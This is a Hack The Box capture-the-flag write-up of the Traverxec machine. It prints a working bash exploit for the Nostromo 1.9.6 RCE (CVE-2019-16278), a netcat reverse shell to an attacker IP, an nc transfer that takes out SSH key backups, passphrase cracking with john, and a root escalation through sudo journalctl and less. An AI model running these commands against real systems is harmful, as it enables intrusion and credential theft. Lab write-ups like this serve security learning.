HTB Traverxec: Formal Writeup
Synopsis:
Traverxec is a HTB machine that hosted an outdated Nostromo
web server which was vulnerable to RCE. An attacker could gain a foothold on the machine by exploiting this vulnerability and then laterally move to the user david
by inspecting the web config file. A bash script in the user’s home directory revealed that the user could execute journalctl
as root. This could be used to escalate privilege and gain full control of the machine.
Active Recon:
To get started the attacker launched a basic nmap scan.
┌──(toothless5143@kali)-[~]
└─$ sudo nmap -Pn -sV -sC - min-rate=5000 -T4 10.10.10.165
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-23 00:42 CDT
Nmap scan report for 10.10.10.165
Host is up (0.24s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
| 2048 aa99a81668cd41ccf96c8401c759095c (RSA)
| 256 93dd1a23eed71f086b58470973a388cc (ECDSA)
|_ 256 9dd6621e7afb8f5692e637f110db9bce (ED25519)
80/tcp open http nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.08 seconds
The nmap scan showed that SSH was running on port 22, and a HTTP server was running on the default port. Both the service scan and the http-server-header
revealed that the HTTP server was running on Nostromo 1.9.6
. Nostromo is a simple, fast, and secure HTTP server.
Upon landing on the website, nothing seemed interesting. Performing a directory bursting attack did not give away any interesting information.
Vulnerability Analysis & Exploitation:
After a bit of research, it was found out that Nostromo 1.9.6 was outdated and vulnerable to RCE. The host was vulnerable to CVE-2019–16278. A directory traversal vulnerability in the http_verify function in Nostromo nhttpd through 1.9.6 allowed an attacker to achieve remote code execution via a crafted HTTP request. This version of Nostromo was vulnerable to two types of cyber attacks: an RCE through directory transversal, and a DoS.
The following script was used to exploit the host.
#!/usr/bin/env bash
HOST="$1"
PORT="$2"
shift 2
( \
echo -n -e 'POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\n'; \
echo -n -e 'Content-Length: 1\r\n\r\necho\necho\n'; \
echo "$@ 2>&1" \
) | nc "$HOST" "$PORT" \
| sed --quiet --expression ':S;/^\r$/{n;bP};n;bS;:P;n;p;bP'
Giving the execution permission:
┌──(toothless5143@kali)-[~]
└─$ chmod +x exploit.sh
The script worked successfully and executed command on behalf of the attacker.
┌──(toothless5143@kali)-[~]
└─$ ./exploit.sh 10.10.10.165 80 whoami
www-data
A reverse shell was gained using the same script, metasploit
got an exploit for the same vulnerability. nc
utility was available on the host, nc was used to gain a reverse shell,
Starting the listerner:
┌──(toothless5143@kali)-[~]
└─$ nc -lvnp 8000
Then use the following command to get a reverse shell, make sure to change the host IP and port accordingly.
┌──(toothless5143@kali)-[~]
└─$ ./exploit.sh 10.10.10.165 80 "nc 10.10.14.36 8000 -e bash"
Upon executing the script with the reverse shell payload, it was possible to gain RCE.
┌──(toothless5143@kali)-[~]
└─$ nc -lvnp 8000
listening on [any] 8000 ...
connect to [10.10.14.36] from (UNKNOWN) [10.10.10.165] 37042
whoami
www-data
Initial foothold was gained through it. Though the shell wasn’t interactive so the below command was used to gain a TTY
shell using python.
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@traverxec:/home/david$
After visiting the /home
directory a user named david
was found.
Post Exploitation:
The attacker enumerated the system to find privilege escalation vectors. After reading the contents of /etc/passwd
it revealed the root directory of the Nostromo which is /var/nostromo
. After visting the root directory of Nostromo a conf
directory was found and inside the conf
directory a file named nhttpd.conf
was also found with the following contents:
www-data@traverxec:/var/nostromo/conf$ cat nhttpd.conf
# MAIN [MANDATORY]
servername traverxec.htb
serverlisten *
serveradmin david@traverxec.htb
serverroot /var/nostromo
servermimes conf/mimes
docroot /var/nostromo/htdocs
docindex index.html
# LOGS [OPTIONAL]
logpid logs/nhttpd.pid
# SETUID [RECOMMENDED]
user www-data
# BASIC AUTHENTICATION [OPTIONAL]
htaccess .htaccess
htpasswd /var/nostromo/conf/.htpasswd
# ALIASES [OPTIONAL]
/icons /var/nostromo/icons
# HOMEDIRS [OPTIONAL]
homedirs /home
homedirs_public public_www
The conf
file revealed that the user www-data
has permission to a specific directory which is /home/david/public_www
. And a hash for the user david
was found from /var/nostromo/conf/.htpasswd
. The type of the hash was md5crypt
, it was possible to crack the hash using johntheripper
but the password(<REDACTED>
) has no use.
www-data@traverxec:/var/nostromo/conf$ cat .htpasswd
david:<REDACTED>
Lateral Movement:
Upon researching further an interesting file in /home/david/public_www/protected-file-area
was found.
www-data@traverxec:/home$ ls /home/david/public_www/protected-file-area
backup-ssh-identity-files.tgz
The file backup-ssh-identity-files.tgz
had back up SSH key’s. The file was transferred using the nc
connection.
On the attacker’s host:
┌──(toothless5143@kali)-[~]
└─$ nc -l 8888 > backup-ssh-identity-files.tgz
On the target host:
www-data@traverxec:/home$ nc 10.10.14.36 8888 < /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz
After retrieving the file, it was extracted by the following command:
┌──(toothless5143@kali)-[~]
└─$ tar -xvf backup-ssh-identity-files.tgz
home/david/.ssh/
home/david/.ssh/authorized_keys
home/david/.ssh/id_rsa
home/david/.ssh/id_rsa.pub
The private SSH key of the user david
was obtained. Let’s change the key’s permission to 600(readable and writable by the owner only). Changing the permissions of an SSH key file to 600 is an essential security practice on Linux systems.
┌──(toothless5143@kali)-[~]
└─$ chmod 600 id_rsa
Upon trying to connect to the SSH server it asks for a pass phrase, means that the key is encrypted. The previously found password was invalid. But the passphrase was obtained by extracting the hash from the SSH key & cracking it later with the tool johntheripper
.
Extracting the key using a john script:
┌──(toothless5143@kali)-[~]
└─$ python3 /usr/share/john/ssh2john.py id_rsa > hash.txt
Cracking the hash:
┌──(toothless5143@kali)-[~]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<REDACTED> (id_rsa)
<SNIP>
Using the passphrase <REDACTED>
, it was possible to login successfully.
┌──(toothless5143@kali)-[~]
└─$ ssh david@10.10.10.165 -i id_rsa
Enter passphrase for key 'id_rsa': <REDACTED>
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
Last login: Fri Jul 21 10:40:25 2023 from 10.10.14.75
david@traverxec:~$
And the first flag was obtained from /home/david/user.txt
.
Privilege Escalation:
After landing on the host as the user david
, a folder named bin
was found inside the user’s home directory. Inside the bin directory a bash script named server-stats.sh
seemed interesting. Upon inspecting the script the last line was slightly interesting. And the other file server-stats.head
was just an ASCII art.
david@traverxec:~/bin$ cat server-stats.sh
#!/bin/bash
cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat
The script was returning the last 5 lines of the nostromo service logs using journalctl
. journalctl
uses less
to display the last 5 lines of the logs. It’s possible to drop a root shell using less
. And an entry on GTFObins was found. The less
command displays output on the user’s screen and waits for user input once the content is displayed. Running a shell command exploits this and give us the root user’s access. First execute the below command.
david@traverxec:~$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
The command invoked less
and it’s possible to run shell commands by prefixing !
and we can get a shell on behalf of the root user by executing !/bin/bash
.
david@traverxec:~$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Fri 2023-07-21 02:36:27 EDT, end at Sun 2023-07-23 04:53:02 EDT. --
Jul 23 03:47:38 traverxec sudo[18724]: pam_unix(sudo:auth): authentication failure; logname= uid=33 euid=0 tty=/dev/pts/3 rus
Jul 23 03:47:39 traverxec sudo[18724]: pam_unix(sudo:auth): conversation failed
Jul 23 03:47:39 traverxec sudo[18724]: pam_unix(sudo:auth): auth could not identify password for [www-data]
Jul 23 03:47:39 traverxec sudo[18724]: www-data : command not allowed ; TTY=pts/3 ; PWD=/tmp ; USER=root ; COMMAND=list
Jul 23 03:47:39 traverxec nologin[18766]: Attempted login by UNKNOWN on UNKNOWN
!/bin/bash
root@traverxec:/home/david/bin#
2nd and last flag was found from /root/root.txt
. And the host was completely compromised.
Signing out,
- Toothless